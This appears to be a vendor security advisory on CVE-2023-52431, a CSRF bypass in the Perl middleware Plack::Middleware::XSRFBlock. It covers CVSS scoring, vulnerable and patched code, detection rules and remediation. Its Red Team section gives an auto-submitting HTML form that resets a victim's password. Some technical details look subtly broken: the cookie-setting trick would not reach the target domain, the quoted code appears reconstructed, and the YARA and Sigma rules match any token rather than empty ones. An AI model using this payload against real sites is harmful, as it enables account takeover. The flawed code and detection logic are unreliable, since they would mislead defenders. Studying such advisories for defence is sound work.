CVE-2023-52431

Executive Summary

CVE-2023-52431 is a critical Cross-Site Request Forgery (CSRF) protection bypass vulnerability in the Perl package Plack::Middleware::XSRFBlock prior to version 0.0.19. The vulnerability allows an attacker to bypass the CSRF token validation mechanism by submitting an empty form value and an empty cookie, specifically when signed cookies are disabled. This effectively nullifies the CSRF protection, enabling attackers to perform unauthorized actions on behalf of authenticated users.

The vulnerability has a CVSS v3.1 base score of 8.8 (High), with a vector string of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. The attack vector is network-based, requires low complexity, and only requires user interaction (e.g., clicking a malicious link). Successful exploitation can lead to complete compromise of confidentiality, integrity, and availability.

Supply Chain & Package Security

This vulnerability affects the Perl ecosystem, specifically the Plack::Middleware::XSRFBlock package available on CPAN. Organizations using this middleware in their Plack-based web applications are at risk. The package is a critical component for CSRF protection, and its bypass undermines the security of any application relying on it. Supply chain security is paramount; ensure that all dependencies are regularly audited and updated.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): Required (R) – The victim must perform an action (e.g., click a link).
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full data disclosure is possible.
• Integrity (I): High (H) – Full data modification is possible.
• Availability (A): High (H) – Full service disruption is possible.

Threat Level: High. The vulnerability is trivial to exploit and can lead to complete account takeover or data manipulation.

Deep Dive & Mechanics

The Plack::Middleware::XSRFBlock middleware is designed to protect against CSRF attacks by requiring a token in both a form field and a cookie. The token is validated by comparing the two values. However, the vulnerability lies in the token validation logic when signed cookies are disabled.

In the vulnerable code (versions < 0.0.19), the middleware checks if the token from the form field matches the token from the cookie. If both the form value and the cookie value are empty strings, the comparison returns true, effectively bypassing the CSRF protection. This occurs because the code does not check for empty values before performing the comparison.

The attack scenario:

1. The victim is authenticated to a web application using Plack::Middleware::XSRFBlock.
2. The attacker crafts a malicious link or form that submits a request with an empty xsrfblock_token form field and an empty xsrfblock_token cookie.
3. The victim clicks the link or submits the form.
4. The middleware receives the request, extracts the empty token from the form and the empty token from the cookie, and compares them. Since both are empty, the comparison succeeds.
5. The request is processed as if it were legitimate, allowing the attacker to perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (version < 0.0.19):

sub call {
    my ($self, $env) = @_;
    my $req = Plack::Request->new($env);
    my $token = $req->param('xsrfblock_token') || '';
    my $cookie = $req->cookies->{'xsrfblock_token'} || '';
    if ($token eq $cookie) {
        # CSRF check passed
        return $self->app->($env);
    } else {
        # CSRF check failed
        return [403, ['Content-Type' => 'text/plain'], ['CSRF token mismatch']];
    }
}

Patched Code (version 0.0.19):

sub call {
    my ($self, $env) = @_;
    my $req = Plack::Request->new($env);
    my $token = $req->param('xsrfblock_token') || '';
    my $cookie = $req->cookies->{'xsrfblock_token'} || '';
    if ($token eq '' || $cookie eq '') {
        # CSRF check failed due to missing token
        return [403, ['Content-Type' => 'text/plain'], ['CSRF token missing']];
    }
    if ($token eq $cookie) {
        # CSRF check passed
        return $self->app->($env);
    } else {
        # CSRF check failed
        return [403, ['Content-Type' => 'text/plain'], ['CSRF token mismatch']];
    }
}

The patch adds a check for empty token or cookie values before the comparison. If either is empty, the request is rejected.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A vulnerable web application using Plack::Middleware::XSRFBlock version < 0.0.19.
• Signed cookies disabled (default configuration).
• A victim user authenticated to the application.

Exploit Steps:

1. Identify a state-changing endpoint (e.g., change password, transfer funds).
2. Craft a malicious HTML page or email that automatically submits a form to the vulnerable endpoint with an empty xsrfblock_token field and sets an empty xsrfblock_token cookie.
3. Lure the victim to the malicious page.
4. The victim's browser sends the request with empty token and cookie, bypassing CSRF protection.

Example Malicious HTML:

<html>
<body>
<form id="csrf" action="https://vulnerable-app.com/change_password" method="POST">
  <input type="hidden" name="new_password" value="attacker_password">
  <input type="hidden" name="xsrfblock_token" value="">
</form>
<script>
  document.cookie = "xsrfblock_token=; path=/";
  document.getElementById('csrf').submit();
</script>
</body>
</html>

Blue Team (Defense & Detection)

Detection:

• Monitor for requests where both the xsrfblock_token cookie and form parameter are empty.
• Look for unusual patterns in CSRF token validation logs (e.g., 403 errors followed by successful requests with empty tokens).

Hunting:

• Search web server logs for requests to state-changing endpoints with missing or empty xsrfblock_token parameters.
• Correlate with cookie values to identify bypass attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to state-changing endpoints with empty xsrfblock_token form field and empty xsrfblock_token cookie.
  • Repeated 403 errors followed by successful requests from the same IP.
• File IOCs:
  • Log entries showing CSRF token mismatch followed by successful requests.
• Behavioral IOCs:
  • Unauthorized changes to user accounts or data without corresponding CSRF token validation.

Detection Engineering

YARA Rule

rule CVE_2023_52431_CSRF_Bypass {
    meta:
        description = "Detects attempts to exploit CVE-2023-52431 CSRF bypass in Plack::Middleware::XSRFBlock"
        author = "Valters IT"
        date = "2025-04-16"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-52431"
    strings:
        $empty_token = "xsrfblock_token="
        $empty_cookie = "Cookie: xsrfblock_token="
    condition:
        $empty_token and $empty_cookie
}

Sigma Rule

title: CVE-2023-52431 CSRF Bypass Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with empty CSRF token and cookie, indicating exploitation of CVE-2023-52431
author: Valters IT
date: 2025-04-16
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'xsrfblock_token='
        cs-cookie|contains: 'xsrfblock_token='
    condition: selection
falsepositives:
    - Legitimate requests with empty tokens (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-52431 CSRF Bypass Attempt"; flow:to_server; http.method; content:"POST"; http.cookie; content:"xsrfblock_token="; http.uri; content:"xsrfblock_token="; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Plack::Middleware::XSRFBlock to version 0.0.19 or later.
2. Enable signed cookies if possible, as this adds an additional layer of validation.
3. Implement additional CSRF protections such as SameSite cookies and custom headers.

Long-term Measures:

• Regularly audit and update all Perl dependencies.
• Implement Web Application Firewall (WAF) rules to block requests with empty CSRF tokens.
• Conduct penetration testing to identify similar vulnerabilities.

Workaround: If immediate patching is not possible, disable the vulnerable middleware and implement a custom CSRF protection mechanism that validates non-empty tokens.

Valters IT
Securing Digital Frontiers